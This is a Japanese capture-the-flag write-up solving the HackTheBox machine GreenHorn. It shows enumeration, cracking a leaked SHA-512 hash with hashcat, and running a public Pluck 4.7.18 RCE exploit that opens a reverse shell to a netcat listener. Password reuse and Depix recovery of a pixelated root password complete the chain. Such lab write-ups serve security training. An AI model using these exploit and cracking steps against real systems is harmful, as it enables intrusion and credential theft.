HackTheBox GreenHorn Writeup

# GreenHorn Writeup

HackTheBoxのGreenHornのWriteupです。

難易度: easy
OS : Linux

![GreenHorn.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/a38781fb-442b-6882-e2b4-f4e3cbba1080.png)

# Enumration
まずnmapでポートスキャンを行います。

```bash
-> % sudo nmap -sV -sC -p- --min-rate 10000 10.10.11.25 -oN Nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 12:09 JST
Nmap scan report for greenhorn.htb (10.10.11.25)
Host is up (0.12s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: pluck 4.7.18
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 2 disallowed entries 
|_/data/ /docs/
| http-title: Welcome to GreenHorn ! - GreenHorn
|_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=fe41a42b14f07582; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=MOjhp0rl2-B3vVqRX7hKPeH51rc6MTczMzU0MDE1Mzc4MDk0ODM0Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 07 Dec 2024 02:55:53 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=4aff4d27a344e147; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=lhF0eRUtAJNsItqqVqaaOGJpcvY6MTczMzU0MDE2MDAyOTY0ODAxNA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 07 Dec 2024 02:56:00 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=12/7%Time=6753BC84%P=x86_64-pc-linux-gnu%r
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.78 seconds
```

sshと80,3000でhttpが動いていました。80番ポートから見ていきます。

そして、スキャン結果からドメイン greenhorn.htbを見つけました。 /etc/hosts に追加します。

```
10.10.11.25 greenhorn.htb
```

## Web
### Port 80

80番ポートにアクセスします。

![image-20241207122924040.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/6abf8d6b-9bd5-9d3f-24dc-6296b8982a74.png)

welcomeページが表示されました。

このページには別のページに遷移しなさそうですが、ページ下部にpluckが使用されていることが示されています。

dirsearchでディレクトリ探索を行います。

```bash
-> % dirsearch -u http://greenhorn.htb/                                             
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/hatto/CTF/HTB/machine/Linux/GreenHorn/reports/http_greenhorn.htb/__24-12-07_12-22-13.txt

Target: http://greenhorn.htb/

[12:22:13] Starting: 
[12:22:15] 200 -   93B  - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[12:22:15] 200 -   93B  - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[12:22:17] 404 -  564B  - /.css
[12:22:18] 404 -  564B  - /.gif
[12:22:19] 404 -  564B  - /.ico
[12:22:19] 404 -  564B  - /.jpeg
[12:22:19] 404 -  564B  - /.jpg
[12:22:21] 404 -  564B  - /.png
[12:22:30] 404 -  564B  - /adm/style/admin.css
[12:22:30] 200 -    4KB - /admin.php
[12:22:34] 404 -  564B  - /admin_my_avatar.png
[12:22:44] 404 -  564B  - /bundles/kibana.style.css
[12:22:49] 200 -   48B  - /data/
[12:22:49] 301 -  178B  - /data  ->  http://greenhorn.htb/data/
[12:22:51] 200 -   93B  - /docpicker/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
[12:22:51] 403 -  564B  - /docs/
[12:22:51] 301 -  178B  - /docs  ->  http://greenhorn.htb/docs/
[12:22:54] 200 -   93B  - /faces/javax.faces.resource/web.xml?ln=../WEB-INF
[12:22:54] 200 -   93B  - /faces/javax.faces.resource/web.xml?ln=..\\WEB-INF
[12:22:54] 404 -  564B  - /favicon.ico
[12:22:54] 403 -  564B  - /files/
[12:22:54] 301 -  178B  - /files  ->  http://greenhorn.htb/files/
[12:22:58] 404 -  564B  - /IdentityGuardSelfService/images/favicon.ico
[12:22:58] 301 -  178B  - /images  ->  http://greenhorn.htb/images/
[12:22:58] 403 -  564B  - /images/
[12:22:59] 200 -    4KB - /install.php
[12:23:00] 200 -    4KB - /install.php?profile=default
[12:23:00] 200 -   93B  - /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo
[12:23:03] 200 -    1KB - /login.php
[12:23:04] 404 -  564B  - /logo.gif
[12:23:05] 200 -   93B  - /manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
[12:23:05] 200 -   93B  - /manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=
[12:23:15] 200 -   93B  - /plugins/servlet/gadgets/makeRequest?url=https://google.com
[12:23:17] 200 -   93B  - /proxy.stream?origin=https://google.com
[12:23:18] 200 -    2KB - /README.md
[12:23:19] 200 -   93B  - /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
[12:23:19] 200 -   93B  - /remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd
[12:23:19] 404 -  564B  - /resources/.arch-internal-preview.css
[12:23:19] 200 -   47B  - /robots.txt
[12:23:24] 404 -  564B  - /skin1_admin.css
[12:23:24] 404 -  997B  - /solr/admin/file/?file=solrconfig.xml
[12:23:38] 200 -   93B  - /wps/myproxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
[12:23:38] 200 -   93B  - /wps/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
[12:23:38] 200 -   93B  - /wps/cmis_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
[12:23:38] 200 -   93B  - /wps/contenthandler/!ut/p/digest!8skKFbWr_TwcZcvoc9Dn3g/?uri=http://www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
[12:23:38] 200 -   93B  - /wps/proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com

Task Completed
```

いろいろ見つかりましたが、admin.phpを見てみると、pluckのバージョン情報 pluck 4.7.18 を見つけました。

![image-20241207123600503.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/0906400f-e7c4-b2ec-100f-51f4ec86d9c9.png)
searchsploitで pluck 4.7.18に何か脆弱性がないか調べます。

![image-20241207123825177.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d48714f3-9ede-348a-91bd-7b5033345a6d.png)

pluck 4.7.18にはリモートコード実行を行うことのできる脆弱性があることが分かりました。

[Pluck v4.7.18 - Remote Code Execution (RCE)](https://www.exploit-db.com/exploits/51592)

## Port 3000

脆弱性を見つけましたが、この脆弱性を悪用するには認証情報を使ってログインする必要がありますが、認証情報を持っていないので、3000番ポートで何か情報を得られるか調べます。

![image-20241207124346142.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ce97f844-6e9b-1fa4-201e-83db0f9885ab.png)

3000番ポートにアクセスすると Giteaが動いていました。
エクスプローラーを見てみるとリポジトリを見つけました。

![image-20241207124742562.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/86a6009f-c745-99f6-a214-f73ca27a610f.png)

`GreenHorn/data/setting/pass.php` にパスワードハッシュを見つけました。

![image-20241207124851985.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/f665b8c3-73df-56b2-ab13-f8df198b0927.png)

```
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163
```
hashcatで解析します。
![image-20241207125134782.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/7cccfc97-db9b-a09e-a05a-b178f2a555b6.png)

hash形式はsha512みたいです。 -m 1700で解析できます。

```
hashcat -m 1700 hash.txt /usr/share/wordlists/rockyou.txt
```
![image-20241207125317740.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/76b20517-7e3c-95ae-fc52-0e9759d24c6f.png)

解析が終了し、パスワードが iloveyou1 であることが分かりました。
このパスワードでpluckにログインします。

![image-20241207125519236.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/28ea5f7f-1ce4-abd6-bb89-d49ee3e6d872.png)

ログインできました。

# Exploit
pluck 4.7.18の脆弱性を悪用するPoCを見つけたのでこれを使用します。
[Pluck_Cms_4.7.18_RCE_Exploit](https://github.com/b0ySie7e/Pluck_Cms_4.7.18_RCE_Exploit.git)
Gitからクローンして実行するだけでリバースシェルを取得することができます。

```
git clone https://github.com/b0ySie7e/Pluck_Cms_4.7.18_RCE_Exploit.git
cd Pluck_Cms_4.7.18_RCE_Exploit.git
```
```
-> % python3 exploit_pluckv4.7.18_RCE.py --password iloveyou1 --ip 10.10.16.5 --port 4444 --host http://greenhorn.htb
[+] Creating payload
[+] Creating .php file
[+] Creating ZIP file
Login successful
[+] ZIP file uploaded successfully
```
```
-> % rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.25] 44494
bash: cannot set terminal process group (1039): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ 
```

www-dataとしてシェルを取得することができました。
ホームディレクトリを見てみると、ユーザー git, juniort が見つかりました。

![image-20241207164150279.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/9cd2f83c-7a2a-67c8-d5b9-f6e089d43243.png)

linpeasで列挙を行いましたが、特に興味深いものは見つかりませんでした。
見つけたユーザーjuniorでパスワード、iloveyou1 を試してみたところ、juniorとしてログインすることができました。

![image-20241207165127737.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/774ef884-6cf4-ba3f-41de-1907fa0580b0.png)

このパスワードでsshでログインしてみましたがどうやらパスワード認証は使えないみたいなので秘密鍵を生成してログインします。

![image-20241207165220047.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/9ea08d9c-e45b-6d2d-2628-0f9a3e7264f4.png)

![image-20241207165321532.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/0117ab7f-8097-e987-df0a-c5168046ac2f.png)

authorized_keysをつくる

![image-20241207165850966.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/43a1b774-6c31-505f-bc5f-f9bf93566273.png)

攻撃側端末で作成した秘密鍵を保存します。

![image-20241207165436270.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/9e3df5fa-2ae3-548b-6541-4ab5c1a87c4e.png)

`chmod 600 id_rsa` で権限を与えてログインします。

![image-20241207170040006.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/b7ceb308-ef82-6c5d-974d-f58cbbbff6b8.png)
user.txtを取得しました。

![image-20241207170130115.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/5eb583b0-cd21-c90f-e543-45bcd94cec73.png)

# Privilege Escalation
ホームディレクトリにはフラグと一緒にPDFが見つかりました。
![image-20241207170130115.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c311899b-9c5f-828a-df53-6a909b6b140d.png)

pythonでサーバーを起動してpdfをダウンロードします。

![image-20241207170727879.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/39b5d7de-7f14-64eb-7c1b-eca56e82cc2e.png)

![image-20241207170748369.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ff84864a-423d-abb4-c336-16eff82ea18b.png)

ダウンロードしたpdfを見てみます。

![image-20241207170833593.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/798ec37d-b71e-ce00-91f3-045375274418.png)
パスワードがモザイクで隠されています。どうにかしてモザイクを外す必要があります。

モザイクを復元できる有名なツールとして depix というものがあります。これは、ピクセル化されたスクリーンショットからプレーンテキストを復元するpythonスクリプトです。
[Depix](https://github.com/spipm/Depix.git)
復元するモザイクをpdfから抽出します。
```bash
pdfimages 'Using OpenVAS.pdf' pass
```

depixでモザイクを復元します。

![image-20241207172755618.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/e6de6289-039a-b753-9570-81158f94f66d.png)

作成されたoutput.pngを見てみます。

![image-20241207172919274.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c61e6fa8-04f6-1492-5afb-5e567f9c05e3.png)

モザイクが少し外れて文字列が浮かび上がりました

```
sidefromsidetheothersidesidefromsidetheotherside
```

これをつかってrootにログインします。

![image-20241207173625148.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d35b0cae-00eb-e480-a0db-78a129267ca1.png)

rootに権限を昇格することができました。

![image-20241207173729062.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/6d1b6470-1d43-42ec-32a2-103a216e2dbb.png)

root.txtを取得して終了です。